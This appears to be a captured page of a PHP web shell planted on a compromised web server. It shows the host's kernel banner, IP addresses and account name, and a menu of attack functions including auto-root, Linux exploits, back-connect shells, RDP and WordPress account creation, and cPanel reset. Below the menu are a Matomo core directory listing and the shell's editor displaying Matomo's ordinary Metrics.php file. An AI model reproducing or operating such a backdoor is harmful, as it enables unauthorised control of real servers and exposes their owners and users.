Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.138.125.199
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
analytics /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxr-xr-x
Access
[ DIR ]
drwxr-xr-x
Application
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
ArchiveProcessor
[ DIR ]
drwxr-xr-x
Archiver
[ DIR ]
drwxr-xr-x
AssetManager
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Category
[ DIR ]
drwxr-xr-x
Changes
[ DIR ]
drwxr-xr-x
CliMulti
[ DIR ]
drwxr-xr-x
Columns
[ DIR ]
drwxr-xr-x
Concurrency
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
CronArchive
[ DIR ]
drwxr-xr-x
DataAccess
[ DIR ]
drwxr-xr-x
DataFiles
[ DIR ]
drwxr-xr-x
DataTable
[ DIR ]
drwxr-xr-x
Db
[ DIR ]
drwxr-xr-x
DeviceDetector
[ DIR ]
drwxr-xr-x
Email
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Intl
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Measurable
[ DIR ]
drwxr-xr-x
Menu
[ DIR ]
drwxr-xr-x
Metrics
[ DIR ]
drwxr-xr-x
Notification
[ DIR ]
drwxr-xr-x
Period
[ DIR ]
drwxr-xr-x
Plugin
[ DIR ]
drwxr-xr-x
ProfessionalServices
[ DIR ]
drwxr-xr-x
Report
[ DIR ]
drwxr-xr-x
ReportRenderer
[ DIR ]
drwxr-xr-x
Scheduler
[ DIR ]
drwxr-xr-x
Segment
[ DIR ]
drwxr-xr-x
Session
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
Tracker
[ DIR ]
drwxr-xr-x
Translation
[ DIR ]
drwxr-xr-x
UpdateCheck
[ DIR ]
drwxr-xr-x
Updater
[ DIR ]
drwxr-xr-x
Updates
[ DIR ]
drwxr-xr-x
Validators
[ DIR ]
drwxr-xr-x
View
[ DIR ]
drwxr-xr-x
ViewDataTable
[ DIR ]
drwxr-xr-x
Visualization
[ DIR ]
drwxr-xr-x
Widget
[ DIR ]
drwxr-xr-x
.htaccess
545
B
-rw-r--r--
Access.php
24.89
KB
-rw-r--r--
Archive.php
35.4
KB
-rw-r--r--
ArchiveProcessor.php
26.97
KB
-rw-r--r--
AssetManager.php
15.48
KB
-rw-r--r--
Auth.php
4.03
KB
-rw-r--r--
AuthResult.php
2.13
KB
-rw-r--r--
BaseFactory.php
1.77
KB
-rw-r--r--
Cache.php
3.51
KB
-rw-r--r--
CacheId.php
2.53
KB
-rw-r--r--
CliMulti.php
14.98
KB
-rw-r--r--
Common.php
39.79
KB
-rw-r--r--
Config.php
14.69
KB
-rw-r--r--
Console.php
10.09
KB
-rw-r--r--
Context.php
3.42
KB
-rw-r--r--
Cookie.php
15.12
KB
-rw-r--r--
CronArchive.php
50.69
KB
-rw-r--r--
DataArray.php
17.97
KB
-rw-r--r--
DataTable.php
69.61
KB
-rw-r--r--
Date.php
35.04
KB
-rw-r--r--
Db.php
29.43
KB
-rw-r--r--
DbHelper.php
10.84
KB
-rw-r--r--
Development.php
6.67
KB
-rw-r--r--
ErrorHandler.php
7.55
KB
-rw-r--r--
EventDispatcher.php
6.79
KB
-rw-r--r--
ExceptionHandler.php
7.06
KB
-rw-r--r--
FileIntegrity.php
15.8
KB
-rw-r--r--
Filechecks.php
8.79
KB
-rw-r--r--
Filesystem.php
18.74
KB
-rw-r--r--
FrontController.php
29.31
KB
-rw-r--r--
Http.php
44.42
KB
-rw-r--r--
IP.php
5.08
KB
-rw-r--r--
Log.php
8.14
KB
-rw-r--r--
LogDeleter.php
3.81
KB
-rw-r--r--
Mail.php
9.32
KB
-rw-r--r--
Metrics.php
20.76
KB
-rw-r--r--
NoAccessException.php
398
B
-rw-r--r--
Nonce.php
8.25
KB
-rw-r--r--
Notification.php
5.72
KB
-rw-r--r--
NumberFormatter.php
10
KB
-rw-r--r--
Option.php
8.25
KB
-rw-r--r--
Period.php
13.52
KB
-rw-r--r--
Piwik.php
27.95
KB
-rw-r--r--
Plugin.php
21.52
KB
-rw-r--r--
Profiler.php
13.32
KB
-rw-r--r--
ProxyHeaders.php
2.16
KB
-rw-r--r--
ProxyHttp.php
11.94
KB
-rw-r--r--
QuickForm2.php
3.94
KB
-rw-r--r--
RankingQuery.php
13.06
KB
-rw-r--r--
ReportRenderer.php
8.59
KB
-rw-r--r--
Segment.php
24.24
KB
-rw-r--r--
Sequence.php
3.11
KB
-rw-r--r--
Session.php
8.04
KB
-rw-r--r--
SettingsPiwik.php
18.07
KB
-rw-r--r--
SettingsServer.php
7.58
KB
-rw-r--r--
Singleton.php
1.46
KB
-rw-r--r--
Site.php
17.86
KB
-rw-r--r--
SiteContentDetector.php
14.22
KB
-rw-r--r--
SupportedBrowser.php
2.25
KB
-rw-r--r--
TCPDF.php
1.87
KB
-rw-r--r--
Theme.php
4.93
KB
-rw-r--r--
Timer.php
2.57
KB
-rw-r--r--
Tracker.php
11.79
KB
-rw-r--r--
Twig.php
19.74
KB
-rw-r--r--
Unzip.php
1.28
KB
-rw-r--r--
UpdateCheck.php
3.34
KB
-rw-r--r--
Updater.php
25.08
KB
-rw-r--r--
UpdaterErrorException.php
304
B
-rw-r--r--
Updates.php
3.86
KB
-rw-r--r--
Url.php
25.67
KB
-rw-r--r--
UrlHelper.php
11.24
KB
-rw-r--r--
Version.php
806
B
-rw-r--r--
View.php
18.2
KB
-rw-r--r--
bootstrap.php
2.03
KB
-rw-r--r--
dispatch.php
928
B
-rw-r--r--
testMinimumPhpVersion.php
10.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Metrics.php
<?php /** * Matomo - free/libre analytics platform * * @link https://matomo.org * @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later * */ namespace Piwik; use Piwik\Cache as PiwikCache; require_once PIWIK_INCLUDE_PATH . "/core/Piwik.php"; /** * This class contains metadata regarding core metrics and contains several * related helper functions. * * Of note are the `INDEX_...` constants. In the database, metric column names * in {@link DataTable} rows are stored as integers to save space. The integer * values used are determined by these constants. * * @api */ class Metrics { /* * When saving DataTables in the DB, we replace all columns name with these IDs. This saves many bytes, * eg. INDEX_NB_UNIQ_VISITORS is an integer: 4 bytes, but 'nb_uniq_visitors' is 16 bytes at least */ const INDEX_NB_UNIQ_VISITORS = 1; const INDEX_NB_VISITS = 2; const INDEX_NB_ACTIONS = 3; const INDEX_MAX_ACTIONS = 4; const INDEX_SUM_VISIT_LENGTH = 5; const INDEX_BOUNCE_COUNT = 6; const INDEX_NB_VISITS_CONVERTED = 7; const INDEX_NB_CONVERSIONS = 8; const INDEX_REVENUE = 9; const INDEX_GOALS = 10; const INDEX_SUM_DAILY_NB_UNIQ_VISITORS = 11; // Specific to the Actions reports const INDEX_PAGE_NB_HITS = 12; const INDEX_PAGE_SUM_TIME_SPENT = 13; const INDEX_PAGE_EXIT_NB_UNIQ_VISITORS = 14; const INDEX_PAGE_EXIT_NB_VISITS = 15; const INDEX_PAGE_EXIT_SUM_DAILY_NB_UNIQ_VISITORS = 16; const INDEX_PAGE_ENTRY_NB_UNIQ_VISITORS = 17; const INDEX_PAGE_ENTRY_SUM_DAILY_NB_UNIQ_VISITORS = 18; const INDEX_PAGE_ENTRY_NB_VISITS = 19; const INDEX_PAGE_ENTRY_NB_ACTIONS = 20; const INDEX_PAGE_ENTRY_SUM_VISIT_LENGTH = 21; const INDEX_PAGE_ENTRY_BOUNCE_COUNT = 22; // Ecommerce Items reports const INDEX_ECOMMERCE_ITEM_REVENUE = 23; const INDEX_ECOMMERCE_ITEM_QUANTITY = 24; const INDEX_ECOMMERCE_ITEM_PRICE = 25; const INDEX_ECOMMERCE_ORDERS = 26; const INDEX_ECOMMERCE_ITEM_PRICE_VIEWED = 27; // Site Search const INDEX_SITE_SEARCH_HAS_NO_RESULT = 28; const INDEX_PAGE_IS_FOLLOWING_SITE_SEARCH_NB_HITS = 29; // Performance Analytics const INDEX_PAGE_SUM_TIME_GENERATION = 30; const INDEX_PAGE_NB_HITS_WITH_TIME_GENERATION = 31; const INDEX_PAGE_MIN_TIME_GENERATION = 32; const INDEX_PAGE_MAX_TIME_GENERATION = 33; // Events const INDEX_EVENT_NB_HITS = 34; const INDEX_EVENT_SUM_EVENT_VALUE = 35; const INDEX_EVENT_MIN_EVENT_VALUE = 36; const INDEX_EVENT_MAX_EVENT_VALUE = 37; const INDEX_EVENT_NB_HITS_WITH_VALUE = 38; // Number of unique User IDs const INDEX_NB_USERS = 39; const INDEX_SUM_DAILY_NB_USERS = 40; // Contents const INDEX_CONTENT_NB_IMPRESSIONS = 41; const INDEX_CONTENT_NB_INTERACTIONS = 42; // Unique visitors fingerprints (useful to process unique visitors across websites) const INDEX_NB_UNIQ_FINGERPRINTS = 43; // Goal reports const INDEX_GOAL_NB_CONVERSIONS = 1; const INDEX_GOAL_REVENUE = 2; const INDEX_GOAL_NB_VISITS_CONVERTED = 3; const INDEX_GOAL_ECOMMERCE_REVENUE_SUBTOTAL = 4; const INDEX_GOAL_ECOMMERCE_REVENUE_TAX = 5; const INDEX_GOAL_ECOMMERCE_REVENUE_SHIPPING = 6; const INDEX_GOAL_ECOMMERCE_REVENUE_DISCOUNT = 7; const INDEX_GOAL_ECOMMERCE_ITEMS = 8; const INDEX_GOAL_NB_PAGES_UNIQ_BEFORE = 9; const INDEX_GOAL_NB_CONVERSIONS_ATTRIB = 10; const INDEX_GOAL_NB_CONVERSIONS_PAGE_RATE = 11; const INDEX_GOAL_NB_CONVERSIONS_PAGE_UNIQ = 12; const INDEX_GOAL_NB_CONVERSIONS_ENTRY_RATE = 13; const INDEX_GOAL_REVENUE_PER_ENTRY = 14; const INDEX_GOAL_REVENUE_ATTRIB = 15; const INDEX_GOAL_NB_CONVERSIONS_ENTRY = 16; const INDEX_GOAL_REVENUE_ENTRY = 17; public static $mappingFromIdToName = array( Metrics::INDEX_NB_UNIQ_VISITORS => 'nb_uniq_visitors', Metrics::INDEX_NB_UNIQ_FINGERPRINTS => 'nb_uniq_fingerprints', Metrics::INDEX_NB_VISITS => 'nb_visits', Metrics::INDEX_NB_ACTIONS => 'nb_actions', Metrics::INDEX_NB_USERS => 'nb_users', Metrics::INDEX_MAX_ACTIONS => 'max_actions', Metrics::INDEX_SUM_VISIT_LENGTH => 'sum_visit_length', Metrics::INDEX_BOUNCE_COUNT => 'bounce_count', Metrics::INDEX_NB_VISITS_CONVERTED => 'nb_visits_converted', Metrics::INDEX_NB_CONVERSIONS => 'nb_conversions', Metrics::INDEX_REVENUE => 'revenue', Metrics::INDEX_GOALS => 'goals', Metrics::INDEX_SUM_DAILY_NB_UNIQ_VISITORS => 'sum_daily_nb_uniq_visitors', Metrics::INDEX_SUM_DAILY_NB_USERS => 'sum_daily_nb_users', // Actions metrics Metrics::INDEX_PAGE_NB_HITS => 'nb_hits', Metrics::INDEX_PAGE_SUM_TIME_SPENT => 'sum_time_spent', Metrics::INDEX_PAGE_SUM_TIME_GENERATION => 'sum_time_generation', Metrics::INDEX_PAGE_NB_HITS_WITH_TIME_GENERATION => 'nb_hits_with_time_generation', Metrics::INDEX_PAGE_MIN_TIME_GENERATION => 'min_time_generation', Metrics::INDEX_PAGE_MAX_TIME_GENERATION => 'max_time_generation', Metrics::INDEX_PAGE_EXIT_NB_UNIQ_VISITORS => 'exit_nb_uniq_visitors', Metrics::INDEX_PAGE_EXIT_NB_VISITS => 'exit_nb_visits', Metrics::INDEX_PAGE_EXIT_SUM_DAILY_NB_UNIQ_VISITORS => 'sum_daily_exit_nb_uniq_visitors', Metrics::INDEX_PAGE_ENTRY_NB_UNIQ_VISITORS => 'entry_nb_uniq_visitors', Metrics::INDEX_PAGE_ENTRY_SUM_DAILY_NB_UNIQ_VISITORS => 'sum_daily_entry_nb_uniq_visitors', Metrics::INDEX_PAGE_ENTRY_NB_VISITS => 'entry_nb_visits', Metrics::INDEX_PAGE_ENTRY_NB_ACTIONS => 'entry_nb_actions', Metrics::INDEX_PAGE_ENTRY_SUM_VISIT_LENGTH => 'entry_sum_visit_length', Metrics::INDEX_PAGE_ENTRY_BOUNCE_COUNT => 'entry_bounce_count', Metrics::INDEX_PAGE_IS_FOLLOWING_SITE_SEARCH_NB_HITS => 'nb_hits_following_search', // Items reports metrics Metrics::INDEX_ECOMMERCE_ITEM_REVENUE => 'revenue', Metrics::INDEX_ECOMMERCE_ITEM_QUANTITY => 'quantity', Metrics::INDEX_ECOMMERCE_ITEM_PRICE => 'price', Metrics::INDEX_ECOMMERCE_ITEM_PRICE_VIEWED => 'price_viewed', Metrics::INDEX_ECOMMERCE_ORDERS => 'orders', // Events Metrics::INDEX_EVENT_NB_HITS => 'nb_events', Metrics::INDEX_EVENT_SUM_EVENT_VALUE => 'sum_event_value', Metrics::INDEX_EVENT_MIN_EVENT_VALUE => 'min_event_value', Metrics::INDEX_EVENT_MAX_EVENT_VALUE => 'max_event_value', Metrics::INDEX_EVENT_NB_HITS_WITH_VALUE => 'nb_events_with_value', // Contents Metrics::INDEX_CONTENT_NB_IMPRESSIONS => 'nb_impressions', Metrics::INDEX_CONTENT_NB_INTERACTIONS => 'nb_interactions' ); public static $mappingFromIdToNameGoal = array( Metrics::INDEX_GOAL_NB_CONVERSIONS => 'nb_conversions', Metrics::INDEX_GOAL_NB_VISITS_CONVERTED => 'nb_visits_converted', Metrics::INDEX_GOAL_REVENUE => 'revenue', Metrics::INDEX_GOAL_ECOMMERCE_REVENUE_SUBTOTAL => 'revenue_subtotal', Metrics::INDEX_GOAL_ECOMMERCE_REVENUE_TAX => 'revenue_tax', Metrics::INDEX_GOAL_ECOMMERCE_REVENUE_SHIPPING => 'revenue_shipping', Metrics::INDEX_GOAL_ECOMMERCE_REVENUE_DISCOUNT => 'revenue_discount', Metrics::INDEX_GOAL_ECOMMERCE_ITEMS => 'items', Metrics::INDEX_GOAL_NB_PAGES_UNIQ_BEFORE => 'nb_conv_pages_before', Metrics::INDEX_GOAL_NB_CONVERSIONS_ATTRIB => 'nb_conversions_attrib', Metrics::INDEX_GOAL_NB_CONVERSIONS_PAGE_RATE => 'nb_conversions_page_rate', Metrics::INDEX_GOAL_NB_CONVERSIONS_PAGE_UNIQ => 'nb_conversions_page_uniq', Metrics::INDEX_GOAL_NB_CONVERSIONS_ENTRY_RATE => 'nb_conversions_entry_rate', Metrics::INDEX_GOAL_REVENUE_PER_ENTRY => 'revenue_per_entry', Metrics::INDEX_GOAL_REVENUE_ATTRIB => 'revenue_attrib', Metrics::INDEX_GOAL_NB_CONVERSIONS_ENTRY => 'nb_conversions_entry', Metrics::INDEX_GOAL_REVENUE_ENTRY => 'revenue_entry', ); protected static $metricsAggregatedFromLogs = array( Metrics::INDEX_NB_UNIQ_VISITORS, Metrics::INDEX_NB_VISITS, Metrics::INDEX_NB_ACTIONS, Metrics::INDEX_NB_USERS, Metrics::INDEX_MAX_ACTIONS, Metrics::INDEX_SUM_VISIT_LENGTH, Metrics::INDEX_BOUNCE_COUNT, Metrics::INDEX_NB_VISITS_CONVERTED, ); public static function getMappingFromIdToName() { $cache = PiwikCache::getTransientCache(); $cacheKey = CacheId::siteAware(CacheId::pluginAware('Metrics.mappingFromIdToName')); $value = $cache->fetch($cacheKey); if (empty($value)) { $value = self::$mappingFromIdToName; /** * Use this event if your plugin uses custom metric integer IDs to associate those IDs with the * actual metric names (eg, 2 => nb_visits). This allows matomo to automate the replacing * of IDs => metric names for your new metrics. * * **Example** * * public function addMetricIdToNameMapping(&$mapping) * { * $mapping[Archiver::INDEX_MY_NEW_METRIC] = $mapping['MyPlugin_myNewMetric']; * } * * @ignore */ Piwik::postEvent('Metrics.addMetricIdToNameMapping', [&$value]); $cache->save($cacheKey, $value); } return $value; } public static function getVisitsMetricNames() { $names = array(); foreach (self::$metricsAggregatedFromLogs as $metricId) { $names[$metricId] = self::$mappingFromIdToName[$metricId]; } return $names; } public static function getMappingFromNameToId() { static $nameToId = null; if ($nameToId === null) { $nameToId = array_flip(self::$mappingFromIdToName); } return $nameToId; } public static function getMappingFromNameToIdGoal() { static $nameToId = null; if ($nameToId === null) { $nameToId = array_flip(self::$mappingFromIdToNameGoal); } return $nameToId; } /** * Is a lower value for a given column better? * @param $column * @return bool * * @ignore */ public static function isLowerValueBetter($column) { $isLowerBetter = null; /** * Use this event to define if a lower value of a metric is better. * * @param string $isLowerBetter should be set to a boolean indicating if lower is better * @param string $column name of the column to determine * * **Example** * * public function checkIsLowerMetricValueBetter(&$isLowerBetter, $metric) * { * if ($metric === 'position') { * $isLowerBetter = true; * } * } */ Piwik::postEvent('Metrics.isLowerValueBetter', [&$isLowerBetter, $column]); if (!is_null($isLowerBetter)) { return true; } $lowerIsBetterPatterns = array( 'bounce', 'exit' ); foreach ($lowerIsBetterPatterns as $pattern) { if (strpos($column, $pattern) !== false) { return true; } } return false; } /** * Derive the unit name from a column name * @param $column * @param $idSite * @return string * @ignore */ public static function getUnit($column, $idSite) { $nameToUnit = array( '_rate' => '%', 'revenue' => Site::getCurrencySymbolFor($idSite), '_time_' => 's' ); $unit = null; /** * Use this event to define units for custom metrics used in evolution graphs and row evolution only. * * @param string $unit should hold the unit (e.g. %, €, s or empty string) * @param string $column name of the column to determine * @param string $idSite id of the current site */ Piwik::postEvent('Metrics.getEvolutionUnit', [&$unit, $column, $idSite]); if (!empty($unit)) { return $unit; } foreach ($nameToUnit as $pattern => $type) { if (strpos($column, $pattern) !== false) { return $type; } } return ''; } public static function getDefaultMetricTranslations() { $cacheId = CacheId::pluginAware('DefaultMetricTranslations'); $cache = PiwikCache::getTransientCache(); if ($cache->contains($cacheId)) { return $cache->fetch($cacheId); } $translations = array( 'label' => 'General_ColumnLabel', 'date' => 'General_Date', 'avg_time_on_page' => 'General_ColumnAverageTimeOnPage', 'sum_time_spent' => 'General_ColumnSumVisitLength', 'sum_visit_length' => 'General_ColumnSumVisitLength', 'bounce_count' => 'General_ColumnBounces', 'bounce_count_returning' => 'VisitFrequency_ColumnBounceCountForReturningVisits', 'max_actions' => 'General_ColumnMaxActions', 'max_actions_returning' => 'VisitFrequency_ColumnMaxActionsInReturningVisit', 'nb_visits_converted_returning' => 'VisitFrequency_ColumnNbReturningVisitsConverted', 'sum_visit_length_returning' => 'VisitFrequency_ColumnSumVisitLengthReturning', 'nb_visits_converted' => 'General_ColumnVisitsWithConversions', 'nb_conversions' => 'Goals_ColumnConversions', 'revenue' => 'General_ColumnRevenue', 'nb_hits' => 'General_ColumnPageviews', 'entry_nb_visits' => 'General_ColumnEntrances', 'entry_nb_uniq_visitors' => 'General_ColumnUniqueEntrances', 'exit_nb_visits' => 'General_ColumnExits', 'exit_nb_uniq_visitors' => 'General_ColumnUniqueExits', 'entry_bounce_count' => 'General_ColumnBounces', 'exit_bounce_count' => 'General_ColumnBounces', 'exit_rate' => 'General_ColumnExitRate', ); $dailySum = ' (' . Piwik::translate('General_DailySum') . ')'; $afterEntry = ' ' . Piwik::translate('General_AfterEntry'); $translations['sum_daily_nb_uniq_visitors'] = Piwik::translate('General_ColumnNbUniqVisitors') . $dailySum; $translations['sum_daily_nb_users'] = Piwik::translate('General_ColumnNbUsers') . $dailySum; $translations['sum_daily_entry_nb_uniq_visitors'] = Piwik::translate('General_ColumnUniqueEntrances') . $dailySum; $translations['sum_daily_exit_nb_uniq_visitors'] = Piwik::translate('General_ColumnUniqueExits') . $dailySum; $translations['entry_nb_actions'] = Piwik::translate('General_ColumnNbActions') . $afterEntry; $translations['entry_sum_visit_length'] = Piwik::translate('General_ColumnSumVisitLength') . $afterEntry; $translations = array_merge(self::getDefaultMetrics(), self::getDefaultProcessedMetrics(), $translations); /** * Use this event to register translations for metrics processed by your plugin. * * @param string $translations The array mapping of column_name => Plugin_TranslationForColumn */ Piwik::postEvent('Metrics.getDefaultMetricTranslations', array(&$translations)); $translations = array_map(array('\\Piwik\\Piwik', 'translate'), $translations); $cache->save($cacheId, $translations); return $translations; } public static function getDefaultMetrics() { $cacheId = CacheId::languageAware('DefaultMetrics'); $cache = PiwikCache::getTransientCache(); if ($cache->contains($cacheId)) { return $cache->fetch($cacheId); } $translations = array( 'nb_visits' => 'General_ColumnNbVisits', 'nb_uniq_visitors' => 'General_ColumnNbUniqVisitors', 'nb_actions' => 'General_ColumnNbActions', 'nb_users' => 'General_ColumnNbUsers', ); $translations = array_map(array('\\Piwik\\Piwik', 'translate'), $translations); $cache->save($cacheId, $translations); return $translations; } public static function getDefaultProcessedMetrics() { $cacheId = CacheId::languageAware('DefaultProcessedMetrics'); $cache = PiwikCache::getTransientCache(); if ($cache->contains($cacheId)) { return $cache->fetch($cacheId); } $translations = array( // Processed in AddColumnsProcessedMetrics 'nb_actions_per_visit' => 'General_ColumnActionsPerVisit', 'avg_time_on_site' => 'General_ColumnAvgTimeOnSite', 'bounce_rate' => 'General_ColumnBounceRate', 'conversion_rate' => 'General_ColumnConversionRate', ); $translations = array_map(array('\\Piwik\\Piwik', 'translate'), $translations); $cache->save($cacheId, $translations); return $translations; } public static function getReadableColumnName($columnIdRaw) { $mappingIdToName = self::$mappingFromIdToName; if (array_key_exists($columnIdRaw, $mappingIdToName)) { return $mappingIdToName[$columnIdRaw]; } return $columnIdRaw; } public static function getMetricIdsToProcessReportTotal() { return array( self::INDEX_NB_VISITS, self::INDEX_NB_UNIQ_VISITORS, self::INDEX_NB_ACTIONS, self::INDEX_PAGE_NB_HITS, self::INDEX_NB_VISITS_CONVERTED, self::INDEX_NB_CONVERSIONS, self::INDEX_BOUNCE_COUNT, self::INDEX_PAGE_ENTRY_BOUNCE_COUNT, self::INDEX_PAGE_ENTRY_NB_VISITS, self::INDEX_PAGE_ENTRY_NB_ACTIONS, self::INDEX_PAGE_EXIT_NB_VISITS, self::INDEX_PAGE_EXIT_NB_UNIQ_VISITORS, self::INDEX_REVENUE ); } public static function getDefaultMetricsDocumentation() { $cacheId = CacheId::pluginAware('DefaultMetricsDocumentation'); $cache = PiwikCache::getTransientCache(); if ($cache->contains($cacheId)) { return $cache->fetch($cacheId); } $translations = array( 'nb_visits' => 'General_ColumnNbVisitsDocumentation', 'nb_uniq_visitors' => 'General_ColumnNbUniqVisitorsDocumentation', 'nb_actions' => 'General_ColumnNbActionsDocumentation', 'nb_users' => 'General_ColumnNbUsersDocumentation', 'nb_actions_per_visit' => 'General_ColumnActionsPerVisitDocumentation', 'avg_time_on_site' => 'General_ColumnAvgTimeOnSiteDocumentation', 'bounce_rate' => 'General_ColumnBounceRateDocumentation', 'conversion_rate' => 'General_ColumnConversionRateDocumentation', 'avg_time_on_page' => 'General_ColumnAverageTimeOnPageDocumentation', 'nb_hits' => 'General_ColumnPageviewsDocumentation', 'exit_rate' => 'General_ColumnExitRateDocumentation' ); /** * Use this event to register translations for metrics documentation processed by your plugin. * * @param string[] $translations The array mapping of column_name => Plugin_TranslationForColumnDocumentation */ Piwik::postEvent('Metrics.getDefaultMetricDocumentationTranslations', array(&$translations)); $translations = array_map(array('\\Piwik\\Piwik', 'translate'), $translations); $cache->save($cacheId, $translations); return $translations; } public static function getPercentVisitColumn() { $percentVisitsLabel = str_replace(' ', ' ', Piwik::translate('General_ColumnPercentageVisits')); return $percentVisitsLabel; } }
Close